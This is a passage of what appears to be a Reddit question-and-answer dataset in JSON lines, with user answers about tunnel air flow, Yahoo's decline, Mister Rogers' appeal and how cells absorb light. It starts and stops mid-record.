"http://geulmaru.co.kr/data/cheditor4/1409/05c19b1c9c3a2dd6c42f8373f167ec8c_1411736797.33.jpg", "http://geulmaru.co.kr/data/cheditor4/1409/05c19b1c9c3a2dd6c42f8373f167ec8c_1411736748.33.jpg", "http://geulmaru.co.kr/data/cheditor4/1409/05c19b1c9c3a2dd6c42f8373f167ec8c_1411736829.86.jpg", "https://en.wikipedia.org/wiki/Chejungwon", "http://museum.dankook.ac.kr/html_portlet_repositories/adjt/B/2015/B003365/thumbnailL.b003365_20150719002647720889669236.jpg", "http://geulmaru.co.kr/data/cheditor4/1409/05c19b1c9c3a2dd6c42f8373f167ec8c_1411736727.62.jpg", "http://home.cogeco.ca/~dgphillips/Avison.htm"]]}
{"q_id": "ltsfw", "title": "How does the air in a tunnel behave when a train passes through?", "selftext": "I ride the subway to work every day and I've been wondering about this. How does air in a tunnel behave when a train goes through it? Does it get pushed forward or backward compared to the direction the train is moving? Compared to the train's velocity, how far does the displaced air mass get pushed?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ltsfw/how_does_the_air_in_a_tunnel_behave_when_a_train/", "answers": {"a_id": ["c2vjwdf", "c2vjwyw", "c2vjy9h", "c2vk4up", "c2vllqv", "c2vlt3d", "c2vm9h1", "c2vjwdf", "c2vjwyw", "c2vjy9h", "c2vk4up", "c2vllqv", "c2vlt3d", "c2vm9h1"], "score": [45, 10, 3, 7, 2, 3, 2, 45, 10, 3, 7, 2, 3, 2], "text": ["Cannot speak to the full science of this.  However:\n\nIn the Eurotunnel, the size of the tunnels (there are 3 - one big one each way and one service tunnel in the center) was expanded multiple times in the design phase.  The size of the trains was always expanded to basically completely fill the new tunnels.  So the trains were pushing huge columns of air in front of them.  This would obviously slow them down significantly.\n\nTo fix it, they dug vents between the two main tunnels.  When a train is running through the tunnel, the vents are dumping some of that air into the other tunnel. \n\nOf course, this means that if two trains pass each other, in different tunnels, with the vents open, they could derail each other because of the force of air coming out of those vents.  So they had to design a system that shuts the vents between the tunnels when the trains are nearing each other, then opens them again for efficiency when the danger has passed.\n\nSo, not an answer to the question (sorry!) but just to show that it is a real concern and design and engineering steps have to be taken.", "there will be high pressure air in front of the train, the air at the sides will be sucked backwards at a high velocty and there will be very tubulant air at the back of the train", "The blunt face of your train creates a pocket of higher pressure. The air flows over the train and around the back where there is a pocket of low pressure. \n\nMost of the air remains relatively stationary compared to the train. However, the air can swirl and churn especially if your train is fast. ", "As a junior chemE taking a class in fluid dynamics, I can tell you that the velocity of air in your example is a function of many parameters such as the radius and length of the tunnel (if the tunnel is short then it becomes more difficult to model due to entrance and exit effects), the roughness of the tunnel walls, the ambient temperature, and the speed and shape of the train.\n\nFluids (such as air) can be caused to flow by moving walls, pressure differences, and gravity. In this scenario the train serves as a moving wall and drags the air around it, causing a bulk fluid (air) velocity in the direction of the train. For a sufficiently long tunnel, I would expect the velocity profile (the exact velocity of air at different spatial coordinates within the tunnel) to be linear and not vary with depth into the tunnel. A common and experimentally verified assumption known as the No Slip Boundary Condition states that a fluid will move at the same velocity as a solid wall dragging alongside it. Thus the following summary of the behavior of air in the tunnel (which can be verified using the all powerful Navier-Stokes Equation):\n\n**Edit: Assuming fully developed flow from a very long train, the velocity of the air will vary according to a power law between its position adjacent to the train (at which it's moving at the velocity as the train) and its position adjacent to the wall (at which it's stationary).**\n\nOf course at this point, I've changed the problem to an easier one that I can solve. Hopefully it's still provides some insight.\n\nEdit: I oversimplified this problem in order to make it easier to tackle, but as letskill and element012 said, an accurate assessment requires more rigor than I presented here.", " >  How does air in a tunnel behave when a train goes through it?\n\nIn a rather complicated way! The air directly in front of the train gets pushed forwards. The air close to the sides of the train gets dragged along with it, and the air close to the back of the train will get sucked backwards relative to the train, but will still be moving forwards slightly. Also, the air behind the train will be sucked forwards once the train has passed! \n\n >  Does it get pushed forward or backward compared to the direction the train is moving?\n\nIt most certainly moves forward, in the direction the train is moving. The air in front is pushed, the air at the sides is dragged by the train walls, and the air at the back is \"sucked\" by low pressure directly behind the carriage. The most prominent effect, however, is the \"pushing\" by the front of the train. With all this air being pushed along the tunnel, the pressure in the carriages usually drops significantly and you'll often feel your ears \"pop\".\n\n >  Compared to the train's velocity, how far does the displaced air mass get pushed?\n\nQuite a long way. Sorry I don't have a quantitative estimate, but instinctively at a guess I would say that, for a train traveling at top speed, the air on the sides would probably be carried around 100 meters from the tunnel exit before it loses most of its momentum. ", "On a similar note, are there measurable air currents on things like expressways where cars are constantly driving? Obviously right as they pass there is some wind, but does the movement of so many cars in the same direction keep some sort of flow even when the distance between cars is very great?", "While not explaining the question directly, I immediately thought of my favorite video on TED, where engineers were asked how to avoid the build-up of air when a train was moving through a tunnel. The build up would slow down the train, and in some cases create a sort of sonic boom when it exited the tunnel. \n\nThe engineers looked at the beak of the King Fisher, which would create no splash when going from one medium to another. (air to water)\n\nWatch the presentation, it's by far my favorite TED Talk.\n[Janine Benyus: Biomimicry in action](_URL_0_)", "Cannot speak to the full science of this.  However:\n\nIn the Eurotunnel, the size of the tunnels (there are 3 - one big one each way and one service tunnel in the center) was expanded multiple times in the design phase.  The size of the trains was always expanded to basically completely fill the new tunnels.  So the trains were pushing huge columns of air in front of them.  This would obviously slow them down significantly.\n\nTo fix it, they dug vents between the two main tunnels.  When a train is running through the tunnel, the vents are dumping some of that air into the other tunnel. \n\nOf course, this means that if two trains pass each other, in different tunnels, with the vents open, they could derail each other because of the force of air coming out of those vents.  So they had to design a system that shuts the vents between the tunnels when the trains are nearing each other, then opens them again for efficiency when the danger has passed.\n\nSo, not an answer to the question (sorry!) but just to show that it is a real concern and design and engineering steps have to be taken.", "there will be high pressure air in front of the train, the air at the sides will be sucked backwards at a high velocty and there will be very tubulant air at the back of the train", "The blunt face of your train creates a pocket of higher pressure. The air flows over the train and around the back where there is a pocket of low pressure. \n\nMost of the air remains relatively stationary compared to the train. However, the air can swirl and churn especially if your train is fast. ", "As a junior chemE taking a class in fluid dynamics, I can tell you that the velocity of air in your example is a function of many parameters such as the radius and length of the tunnel (if the tunnel is short then it becomes more difficult to model due to entrance and exit effects), the roughness of the tunnel walls, the ambient temperature, and the speed and shape of the train.\n\nFluids (such as air) can be caused to flow by moving walls, pressure differences, and gravity. In this scenario the train serves as a moving wall and drags the air around it, causing a bulk fluid (air) velocity in the direction of the train. For a sufficiently long tunnel, I would expect the velocity profile (the exact velocity of air at different spatial coordinates within the tunnel) to be linear and not vary with depth into the tunnel. A common and experimentally verified assumption known as the No Slip Boundary Condition states that a fluid will move at the same velocity as a solid wall dragging alongside it. Thus the following summary of the behavior of air in the tunnel (which can be verified using the all powerful Navier-Stokes Equation):\n\n**Edit: Assuming fully developed flow from a very long train, the velocity of the air will vary according to a power law between its position adjacent to the train (at which it's moving at the velocity as the train) and its position adjacent to the wall (at which it's stationary).**\n\nOf course at this point, I've changed the problem to an easier one that I can solve. Hopefully it's still provides some insight.\n\nEdit: I oversimplified this problem in order to make it easier to tackle, but as letskill and element012 said, an accurate assessment requires more rigor than I presented here.", " >  How does air in a tunnel behave when a train goes through it?\n\nIn a rather complicated way! The air directly in front of the train gets pushed forwards. The air close to the sides of the train gets dragged along with it, and the air close to the back of the train will get sucked backwards relative to the train, but will still be moving forwards slightly. Also, the air behind the train will be sucked forwards once the train has passed! \n\n >  Does it get pushed forward or backward compared to the direction the train is moving?\n\nIt most certainly moves forward, in the direction the train is moving. The air in front is pushed, the air at the sides is dragged by the train walls, and the air at the back is \"sucked\" by low pressure directly behind the carriage. The most prominent effect, however, is the \"pushing\" by the front of the train. With all this air being pushed along the tunnel, the pressure in the carriages usually drops significantly and you'll often feel your ears \"pop\".\n\n >  Compared to the train's velocity, how far does the displaced air mass get pushed?\n\nQuite a long way. Sorry I don't have a quantitative estimate, but instinctively at a guess I would say that, for a train traveling at top speed, the air on the sides would probably be carried around 100 meters from the tunnel exit before it loses most of its momentum. ", "On a similar note, are there measurable air currents on things like expressways where cars are constantly driving? Obviously right as they pass there is some wind, but does the movement of so many cars in the same direction keep some sort of flow even when the distance between cars is very great?", "While not explaining the question directly, I immediately thought of my favorite video on TED, where engineers were asked how to avoid the build-up of air when a train was moving through a tunnel. The build up would slow down the train, and in some cases create a sort of sonic boom when it exited the tunnel. \n\nThe engineers looked at the beak of the King Fisher, which would create no splash when going from one medium to another. (air to water)\n\nWatch the presentation, it's by far my favorite TED Talk.\n[Janine Benyus: Biomimicry in action](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.ted.com/talks/lang/eng/janine_benyus_biomimicry_in_action.html"], [], [], [], [], [], [], ["http://www.ted.com/talks/lang/eng/janine_benyus_biomimicry_in_action.html"]]}
{"q_id": "440ywr", "title": "why is yahoo considered a prime acquisition target and/or company on the brink of collapse?", "selftext": "This has trickled down so much that I heard a podcast host joke that he'd buy Yahoo if he won a gambling bet.\n\n\nYahoo has been around for a long time, they have a popular search engine (not the most popular, but certainly well known), they have tons of different products including popular sports media and finance content sites, they obviously have brand recognition worldwide. They own Flickr and Tumblr if I'm not mistaken and probably a ton more stuff that I don't even know about.\n\n\nI get that they aren't Apple/Google, but they're clearly a billion dollar company.\n\n\nWhy are they constantly treated as though they're the ugly duckling?\n\n\nWhy aren't they able to be a second fiddle to Google/Apple themselves?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/440ywr/eli5_why_is_yahoo_considered_a_prime_acquisition/", "answers": {"a_id": ["czmi7ly", "czmjea1", "czmza4n"], "score": [5, 2, 3], "text": ["They suck. I mean i just gonna call it like i see it.\n\nYahoo is the #4 search engine, losing to Baidu and Bing. You've probably never even heard of Baidu, because that's how shitty yahoo is.\n\nThey own tumblr and flickr as independent entities, they are valuable assets but not particularly a significant part of the Yahoo! brand. In fact, the Yahoo! brand pretty much means nothing. i doubt anyone would see their logo and think 'oh, okay, its yahoo so it must be good'\n\ngoogle and microsoft both do a lot of R & D and are considered valuable companies for their customer base and the assets they own. Yahoo has uh, what customer base? whats the latest breakthrough you've heard Yahoo make? google is working on their cars, microsoft is working on touchscreen and alternat input technology, and yahoo has uh, sports. yeah. yahoo sports.\n\ni am pretty confident that yahoo has the customer base that it does simply because yahoo is the default search engine or home page on plenty of technologically inept people's computers because the yahoo toolbar got installed without them knowing", "Yahoo is the Sears of search engines.  Shit's falling off the shelves all over the floor, there's wolves, it's a mess.\n\nThe first time I used Yahoo in recent years I clicked an advertisement hidden in the search results and immediately got a virus.", "How has noone mentioned Alibaba!\nYahoo got lucky and invested in a startup called Alibaba.\nAlibaba became huge and is worth much more than Yahoo.\n\nAlibaba market cap: 155B\nYahoo market cap: 26B\nYahoos stake in Alibaba: 32B\n\nIf someone were to buy yahoo, they would sell of the 32B in alibaba, sell the search engine share to the highest bidder (for a few billion), sell off tublr and flickr, and sell all our their realestate and assets and would probably walk away with 40B+\n\nYahoo has been headed down the drain for along time, and it doesnt matter what CEO the board puts at the helm... noone is going to fix it. Their primary investors (the only reason they are still investors of yahoo is because they hope the following will happen) are screaming for them to do the smart thing and liquidize all their assets and return it to investors.\n\nYahoo should listen to their investors.\n\nOne last note. Twitter, Amazon, etc can go decades without profit and be worth billions because they have potential and are growing. Yahoo on the otherhand is shrinking. Would you invest in a marginally profitable newspaper company or video cassete rental store??? It may still be profitable but its likely to be less profitable in the future.\nTwitter and Amazon on the otherhand are only not profitable because they feed any profits they have into growth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "r55r9", "title": "what is so great about mister rogers?", "selftext": "I've never actually seen the show but reddit seems to love him and I want to know why\n\nEDIT: Thank you all! The combination of personal stories, comments and videos makes me feel like I've know Fred Rogers my whole life. The positivity that is emanating from this thread is really uplifting, its great to know that this guy did such great things. Its especially great to know that this was his real self and not just his television personality. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/r55r9/what_is_so_great_about_mister_rogers/", "answers": {"a_id": ["c42z25m", "c42z61n", "c42zaol", "c42zdfa", "c42zhq2", "c42zybg", "c42zyyf", "c42zzgy", "c4300fs", "c430gmu", "c430k7a", "c430wzc", "c4310dy", "c4311ma", "c4315rf", "c431jw5", "c431m9g", "c431uod", "c431yw1", "c432asd", "c432cr8", "c432oft", "c432qlj", "c432v8x", "c432zom", "c433ae1", "c433bnb", "c433far", "c434nds", "c434ztn", "c434zzg", "c43508n", "c435fvb", "c435klh", "c435o93", "c435v70", "c4362g4", "c4363jq", "c436u94", "c436v50", "c436yrz", "c4376n4", "c437817", "c4378je", "c437jld", "c437mo7", "c437ou3", "c437x8z", "c437yyz", "c4381j6", "c438d0u", "c438dxh", "c438hch", "c438p7i", "c438pzx", "c438shu", "c438ts1", "c438yc0", "c439bjz", "c439fy6", "c439tmb", "c43nfuv"], "score": [208, 117, 32, 152, 580, 15, 132, 219, 17, 16, 146, 1371, 6, 6, 69, 20, 17, 3, 36, 9, 18, 26, 8, 19, 5, 3, 3, 4, 5, 2, 2, 2, 2, 37, 2, 5, 6, 2, 2, 2, 12, 3, 2, 2, 4, 2, 2, 2, 2, 3, 2, 3, 2, 4, 4, 4, 2, 4, 14, 2, 2, 2], "text": ["He has a gentle, caring, soothing tone. He speaks to children like they are intelligent, thinking creatures. He addresses topics that children care about, like families, feelings and new experiences. he is also the voice of every creepy fucking puppet in the land of make-believe. \n\nAnd he wrote about 500 songs. \n", "I grew up watching him, and have fond memories of him. He always had good stories and it was almost like a late night talk show for kids in that he would actually discuss the topics towards the camera as if talking to you. \n\nThen the show would break off into a separate \"imagination land\" where stories would play out.  Some of the stories there actually took serious turns and spanned over multiple episodes.  Here's some videos if you want: _URL_0_\n\nOddly enough, he was a Christian Minister before he passed on, yet Reddit has lots of love for him. Go figure. ", "[This comment](_URL_0_) pretty much nails it.", "Other comments have pretty much covered all the bases but I actually met him a few times when I was a younger (I knew his grandson) and his personality wasn't just some facade he used on camera, he was genuinely one of the nicest people I've ever met. ", "Because he was genuine, guileless, and truly cared about people.\n\nHere is one of my favorite Mr. Rogers stories:\n\n*Once, on a fancy trip up to a PBS exec\u2019s house, he heard the limo driver was going to wait outside for 2 hours, so he insisted the driver come in and join them (which flustered the host). On the way back, Rogers sat up front, and when he learned that they were passing the driver\u2019s home on the way, he asked if they could stop in to meet his family. According to the driver, it was one of the best nights of his life\u2014the house supposedly lit up when Rogers arrived, and he played jazz piano and bantered with them late into the night. Further, like with the reporters, Rogers sent him notes and kept in touch with the driver for the rest of his life.*\n\n", "[This pretty well sums it up.](_URL_0_)  Mister Rogers used television to broadcast love and respect for everyone, something which set his show apart.\n\nI always loved watching Mister Rogers' Neighborhood as a kid, at first because I thought the trolley's name was Charlie (it was Trolley, I just liked the idea of a character named after me), but fell in love with it because he taught lessons of caring and respect for everyone, lessons I hold onto today.", "[Mr. Rogers Defending PBS to Congress](_URL_0_). He taught a lot of us how to be better people.", "No 5 year old has ever asked this question.", "Because he made everyday a beautiful day in your neighborhood.", "Well, if you were five, you would already know.", "Mr. Rogers presented a TV image of pure love and unselfishness to the world. However, when you dig deeper into the details of his personal life, you'll find that that's exactly what he was actually like, too.", "Not a throwaway. I've never told anyone this.\n\nI grew up poor raised by strict immigrant parents who never hesitated popping me in the mouth for what they considered a \"look.\" I also never received much affection from my parents (I was 22 when my dad first told me he loved me). My earliest memories of receiving affection was this nice old white man on television telling me I was special. There was this man I had never met, telling me he loved me and that I was special just the way I was. Every morning for half an hour, I was the king of the world who could do anything. A half hour, then it was back to getting yelled at and feeling like a worthless piece of shit. When I heard he passed, I cried. This man wasn't just some television host, he was a part of me. He taught me to speak English. He was the only voice of encouragement when everyone (including teachers) told me I was an idiot and that I was worthless. He was the only person I knew loved me. I wonder how many other children who grow up in horrible situations found comfort in the kind old man on television, and like me, developed a sense of self worth due to the guy. We live in a world where people have alterior motives when helping people out. Not this guy. I wish I would've had the chance to meet him and thank him for the huge impact he had on my life and the lives of other children.", "How can you not love a guy that right off the bat sings, \"Won't you be my neighbor?\" \n\nBrings back wonderful memories of being a kid. :)", "just watch one episode. you'll be captivated", "[For me, it was this letter he took the time to write to me when I was 6.](_URL_0_)", "Because he won the [Ultimate Showdown of Ultimate Destiny](_URL_0_)", "The way I like to think of it is, Mr. Rogers was the anti-Hitler.\n\nAll the bad qualities that made Hitler Hitler (and which are to some extent present in most all people) were absent in Mr. Rogers; and all the good qualities that made Mr. Rogers Mr. Rogers (and which to some extent are inside, and which are in eternal conflict with the bad parts, in most all other people) were absent in Hitler. \n\nMr. Rogers was sort of like Christ without all the worrying about the eternal damnation and getting into the Kingdom of Heaven and the miracles and stuff.", "What's so great about breathing? What's so great about sex? What's so great about bacon? You might as well ask those too....Just kidding. He was just a great human and role model for the children(me included) that watched his show in the mornings. A show with good morals that children actually enjoyed. ", "He's like the wonderful, kindly grandfather to multiple generations of children. \n\nHe'd invite you into his home, to sing songs and meet with his puppet friends and learn how to be a good person. He told children they were loved, and told them how to love others, and he really *meant* it. What could have seemed schmaltzy or even creepy from a lesser man was just sincere and honest truth coming from him. He was the ideal authority figure every small child wants in their life.\n\n[**XKCD**](_URL_2_) summed it up well (read the alt-text). Mr. Rogers personified genuine, unwavering, almost saintly pure-hearted decency. And when as adults we look back at his life, at the real man behind our idealized childhood image, we find he actually was exactly what he seemed to be.\n\n[**madethispost**](_URL_0_) also linked to his 1969 appearance before the [**US Senate Subcommittee on Communications**](_URL_1_), when he defended funding for public broadcasting after Nixon threatened to cut it. Please watch it. His show was new then, nobody knew who he was, and in less than 10 minutes he saved PBS.", "For anybody interested, [This American Life](_URL_0_) did a segment about neighbors and the first act chronicled a young man (aboot our age) meeting his childhood idol at his summer home. Yes, Mr Rogers actually invited him for the weekend. You can hear the emotion in his voice with he speaks with one of the puppets.", "Mr. Rogers was so awesome that his car was once stolen and then when the thieves found out it was indeed Mr. Rogers' Impala they promptly returned it to him.", "He's the only hero of my childhood that never spoiled. I used to fly with him on a small plane to Nantucket every now and then. We weren't together, but in the 80's it was a smaller island and in the winters it was a little 12 seater on Will's Air, and Fred Rogers was a year-round visitor. I said hi to him once or twice, but I was in like junior high - right in between the ages I would truly appreciate him. \n\n\nBut as a result of my experiences on the island with the natives who knew him, I met a lot of people who interacted with him regularly, and every one of them always reported back being amazed at how selfless, genuine, and kind he was in every interaction.\n\n\nIn an era where the media is able to poison almost every hero, and in which every fabulous tale comes with a litany of disclaimers and caveats, he stands as a shining example that people can be as good as we think they are if they devote their lives to it.", "Other posters have said more powerful or eloquent things but in my opinion, the single greatest thing about Mr. Rogers was his message to children that it's OK to be different, you will still be loved.", "TIL I can't make it through a Mr. Rogers being an amazing wonderful person story without crying. ", "Am I the only kid who only watched that show for the train? I never really liked the puppets, but the train was sweet.", "In addition to everything already said here, Mr.Rogers gave us Canadians Mr.Dressup, which was my favourite show as a kid with CBC and not PBS. Ernie Coombs started out as Mr.Rogers' understudy and was a damn fine man and children's entertainer himself.", "He never let his lessons turn into platitudes. ", "Mister Rogers was a unique guy. Staunchly loyal to free and accessible TV programming designed to build up the self-esteem of kids from every walk of life. You won't find someone more committed to the cause of educating children than him. Truly a good-natured and inspiring man. A good neighbor.", "I've already (re)posted this link once today, but here it is again:\n\n[Can you say...\"hero\"?](_URL_0_)", "The really need to release an all inclusive box set. All I can seem to find so far are individual episodes or some separate volumes.", "They really need to release an all inclusive box set. All I can seem to find so far are individual episodes or some separate volumes.", "In college (circa '01/02) I wrote Mister Rogers a letter and he sent back a nice short reply and signed 8x10. Old dude still had it and took time out of his day to do something like that.", "Mr. Rogers was the embodiment of compassion within the human spirit, man.", "The only time I ever witness the sarcasm, cynicism, and rudeness so typical of Reddit disappear is at the mention of Mister Roger's name. That's pretty great.", "My dad is a huge Mr. Rogers fan and his friend got him an autographed photo of him for his 40th birthday.", "Because he taught people, *children* that life isn't always fair.  You don't always get what you want, and you won't always be happy.  But while he taught that, he also told children that you are special, people do love you, you're not worthless, and you can take whatever the world throws at you.  There's not a single person who has watched Mr. Rogers' Neighborhood and left with a bad mood.\n\n_URL_0_", "Jesus came back, the perfect human being. \n\nHe was nice to everyone who met Him. But decided came back another time.", "[This](_URL_0_) is a fantastic article about it.  :)", "Mr Rogers is great because he said, \"you are special.\" and he was talking to me when he said it. (you know, through the T. V.)", "[This might help answer your question.](_URL_0_)\n\nHe's just filled with love and kindness.", "If all Christians were like Mr. Rogers, then /r/Christianity would be defaulted on the front page of Reddit.", "He was one of the few deeply, simply, wholly good people who's ever existed. Most people put on an act, to some degree. He really was exactly who he was on TV, at least according to everything I've ever seen or read, and it shone through. \n\nKids can smell a phony. He genuinely wanted to show love to the small and \"unimportant.\"\n\nI wonder how many millions of people are at least a little bit better because of him. What a hero, truly.  ", "For me personally he just made me feel comfortable in my own skin, like it's ok just to be me and be happy. I was kinda shy and he always gave me a lot of confidence growing up. \n\nHe made kids feel special for just being themselves.", "His mom knit all of his cardigans.\n[link](_URL_0_)", "Possibly the BEST Mister Rogers [article](_URL_0_)...EVER! Originally appeared in Esquire back in 1998. Written by the great Tom Junod. :) Enjoy!!!", "this is why\n_URL_0_", "He had a very calming presence and was a genuinely great person.", "Mr. Rogers is great because every time I see him now, I get the chills, and every testimonial here as given me the chills.  I'm a cynical jerk that doesn't get worked up over much anymore, but the fact that Fred Rogers can elicit that kind of feeling from me speaks volumes.  Quite frankly, I think the man should be canonized.  They don't make people like Fred Rogers anymore. ", "He was a timelessly incredible individual...", "I'm just gonna leave this here...\n\nIt's a PDF of a paper I wrote for school. I had the oppertunity to go to Mr. Rogers' studio for a media psych course, and wrote this paper for a freshman english course.\n\nedit: _URL_0_", "I am special. Just the way I am. My grandmother was the only other person who made me believe that. Her and Fred. \n\nMy parents had issues. \n\n ", "Watch an episode and you'll see why", "WATCH THE SHOW! but more importantly, make all your children watch the show.", "He ended every show by saying to his viewers:\n > You've made this day a special day by just you being you. There's no person in the world like you and I like you just the way you are.\n\nThis is a message that I'm sure millions of children would love to hear today. Hell, this is a message that millions of teenagers and adults would love to hear.", "I watched Mister Rogers as a little girl in the 70s.  I watched Mister Rogers with my son in the 90s.  I wish ALL of his episodes were online somewhere so I could still be watching them. \n\nAlso: the music. Real jazz, not phoney-baloney crap. Songs he wrote himself. And the visits with his \"neighbors\"! Artists, actors, musicians, astronauts!\n\nMister Rogers made the world a better place.", "\"the fight raged on for a century\nmany lives were claimed, but eventually\nthe champion stood, the rest saw their better:\nMr. Rogers in a bloodstained sweater.\"\n\nHe kicks ass.", "He encouraged children to be like you: questioning, respectful and joyful. The closest version we have today is Neil Tyson.\n", "The thing that I truly loved about Mister Rogers is that he felt it pertinent to have every word on his show thought out. He felt that the children deserved his utter attention and dedication into making his show, even down to his very sentence structure. Simply a wonderful person. ", "My answer's a lot like the rest, but have a feminist spin on it.\n\nI didn't have the perfect family life, though it was a lot better than, say, KevinBaconandEggs'. I had parents who told me I was special and that they loved me, who took the time to teach me things, who took care of my needs. But it was turbulent. There was always chaos and anger, fear, occasionally even violence. Quite a bit of that centered on my father, who was loud, boisterous, and vaguely aggressive, even in his good moods. \n\nQuite a few of the women in my family who grew up with fathers like mine have ended up bitter, man-hating. I did not.\n\nThere are three main reasons why. Their names are Fred Rogers, Jean-Luc Picard, and Optimus Prime.\n\nWhen my moody mom and grandma and my downright erratic, possibly even bipolar father, I craved an anchor. I wanted peace and stability. I wanted people who were calm and happy, who made me feel safe and relaxed. I especially needed male figures like this, since you know, I had my great grandma and my aunt for my daily doses of feminine zen, but no such real-life men.\n\nSo I got that through TV. Three male figures on TV, three father figures, slow to anger and slow to judge, quick to believe in those who are younger than them. Three guys to show me that all the man-hating, men-are-stupid, men-are-violent, men-are-impulsive that my family spouted wasn't true, that calling 911 on my dad was not the way it had to be. \n\nAnd of those three, Mr. Rogers was the only one who was really real. There is a lot of Picard in Patrick Stewart, but he's a real person with flaws and stuff. Optimus Prime was more an idea than a person... but from everything I can tell, Mr. Rogers was not an act. That really was who he is. He's even more genuine than Steve from Blue's Clues.\n\nThere was a real man in this world who had not a mean bone in his body, who had nothing but goodwill for all the lost children out there.\n\nHe was *real.* \n\nAnd if someone like that is real, maybe I could meet someone a tenth as kind. Maybe there's a guy out there for me who won't tease or belittle or control me, or trap me in the house when I want to get away. If Fred Rogers is real and he's the best of men... then most men must be good and kind, and I am just surrounded by the most angry of men. \n\nFred Rogers saved me from a large portion of the daddy issues that usually plague a girl who grows up in a violent home. He wasn't the only serene, calm media father figure who gave me the idea that it doesn't have to be the way it was in my turbulent little world... but he was the one who convinced me that it ISN'T that way for other people. \n\ntl;dr My upbringing should have given me serious issues with men, but Fred Rogers convinced me that they aren't all like daddy.", "Helping ~~children~~ **everyone** understand that it's ok to be the way you are.\n", "I think it's one part nostalgia, many of us grew up with him.  People tend to romanticize things from their pasts.  That leads to the creation of a feeling of comfort, or a \"safe zone\".  Many of us likely had comfortable childhoods, so Mister Rogers reminds us of those days and that time.  Even those who didn't have comfortable childhoods likely see Mister Rogers as a kindly man who wanted to make sure they knew that there were special, and that it was perfectly okay to be different.  Many children watching Mister Rogers are at the age where they are starting to attend school and come in contact with people outside of the family unit for the first time.  This is stressful and confusing for kids, these people are *different*.  Mister Rogers helped to explain these things to them.\n\nThe other part is that he also had a cool puppet collection.", "Here's my favorite story:\n\nOn the eve of the announcement that Mister Rogers' Neighborhood would cease production of new episodes, TV Guide interviewed Rogers and led the story with an anecdote. Apparently, Rogers had been driving the same car for years, an old second-hand Impala. Then it was stolen from its parking spot near the WQED studio. Rogers filed a police report, the story was picked up by local news outlets, and general shock swept across town. Within 48 hours, the car was back in the spot where he left it, along with a note saying, \"If we'd known it was yours, we never would have taken it!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://pbskids.org/rogers/videos/index.html"], ["http://www.reddit.com/r/todayilearned/comments/r0dli/til_mr_rodgers_car_was_once_stolen_and_then/c41ycu4"], [], [], ["http://www.youtube.com/watch?v=oBt8keQTPb0&amp;feature=relmfu"], ["http://www.youtube.com/watch?v=yXEuEUQIP3Q"], [], [], [], [], [], [], [], ["http://www.reddit.com/r/reddit.com/comments/i4bj1/i_recently_found_this_letter_mr_rogers_wrote_to/"], ["http://www.newgrounds.com/portal/view/285267"], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/r55r9/what_is_so_great_about_mister_rogers/c42zyyf", "http://youtu.be/yXEuEUQIP3Q", "http://xkcd.com/767/"], ["http://www.thisamericanlife.org/radio-archives/episode/184/neighbors"], [], [], [], [], [], [], [], [], ["http://www.pittsburghinwords.org/tom_junod.html"], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=Upm9LnuCBUM"], [], ["http://www.mentalfloss.com/blogs/archives/5943"], [], ["http://www.youtube.com/watch?v=Upm9LnuCBUM"], [], [], [], ["http://articles.cnn.com/2008-07-28/living/mf.mrrogers.neighbor_1_mr-rogers-neighborhood-fred-rogers-koko-tv-station/3?_s=PM:LIVING"], ["http://www.pittsburghinwords.org/tom_junod.html"], ["http://www.youtube.com/watch?v=yXEuEUQIP3Q"], [], [], [], ["https://skydrive.live.com/redir.aspx?cid=bfbff0eb19198f09&amp;resid=BFBFF0EB19198F09!378&amp;parid=BFBFF0EB19198F09!105&amp;authkey=!AJS90ETOPbIv9nM"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2vo2ur", "title": "How Exactly Does a Cell 'Absorb' Light?", "selftext": "So chlorophyll in plants aborbs light to convert to energy, and photoreceptors in our eyes aborb light to transmit to our brain making our pupils pitch black, but what exactly does 'aborb' mean?\n\nHow do the cells 'capture' light and what is done with it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2vo2ur/how_exactly_does_a_cell_absorb_light/", "answers": {"a_id": ["cojif5q", "cojlv8f", "cojlxe8", "col1ytd"], "score": [3, 3, 3, 2], "text": ["Light is just energy. Plants have structures in them that, when hit by light, use the energy that light carries to form complex molecules (forming atomic bonds requires energy, often a lot of it).\n\nThe receptors in our eyes, instead, are like sensors. They are able to detect specific wavelenghts (\"colors\") of light and when they do detect light they send a signal to the brain that interprets all the signals coming.", "for the eyes, its the rhodopsin protein, more specifically the [opsin](_URL_1_) cofactor that is chemically excited by a photon and changes shape in response. [visual explaination](_URL_0_)", "Those are two very different things. As someone said, it's all about energy transformation.\n\nThere are extremely complicated signaling pathways that changes in environment trigger within each cell, but the basic formula for each of our senses is this: \n1. energy detection (mechanical-touch, chemical-scent or taste etc.)\n2. conversion of that energy into a chemical signal\n3. information travels to the brain\nThere are receptors molecules on cells, that are able to change in some way when exposed to a certain type of energy. In this particular case, a molecule called rhodopsin is positioned on the cell membrane of very specific cells in our eyes. When exposed to light, one part of the molecule absorbs the energy, and transforms into a slightly different molecule (goes from a cis to a trans state, don't know if you are familiar with that from chemistry). This leads to changes in shape of the other part of the molecule which is then being recognized by other molecules within the cell that are responsible for signal transducing.\n\nChlorophyll is a very interesting molecule. It's also a part of a membrane, but in specialized organelles. There is an order of molecules in that membrane which begins with chlorophyll and ends with a molecule that is responsible for the synthesis of ATP, the energy currency of the cell. When chlorophyll gets hit with a photon, it goes into a higher energy state (since it just got the energy from the electromagnetic wave that is light) and is then capable of giving it's electron to a different molecule, situated next to him in the membrane. The electron travels from molecule to molecule, inducing the protons to be pumped out from one side of the membrane to the other. Because of that, there is a big difference in the concentration of protons on different sides of the membrane. There are specific places where the protons can get back in, and those are those molecules that synthesize ATP. Protons traveling through those molecules induce a physical change in them, which makes them able to make ATP that carries and stores the energy in it's atomic bonds and can be used by a number of other proteins in different areas of the cell. This is not the end of photosynthesis, but that's it for light absorption. The same principles apply in the way we breathe and generate energy, it's the same ATP molecule, but we don't use light, we breakdown glucose for example. Plants do this as well, 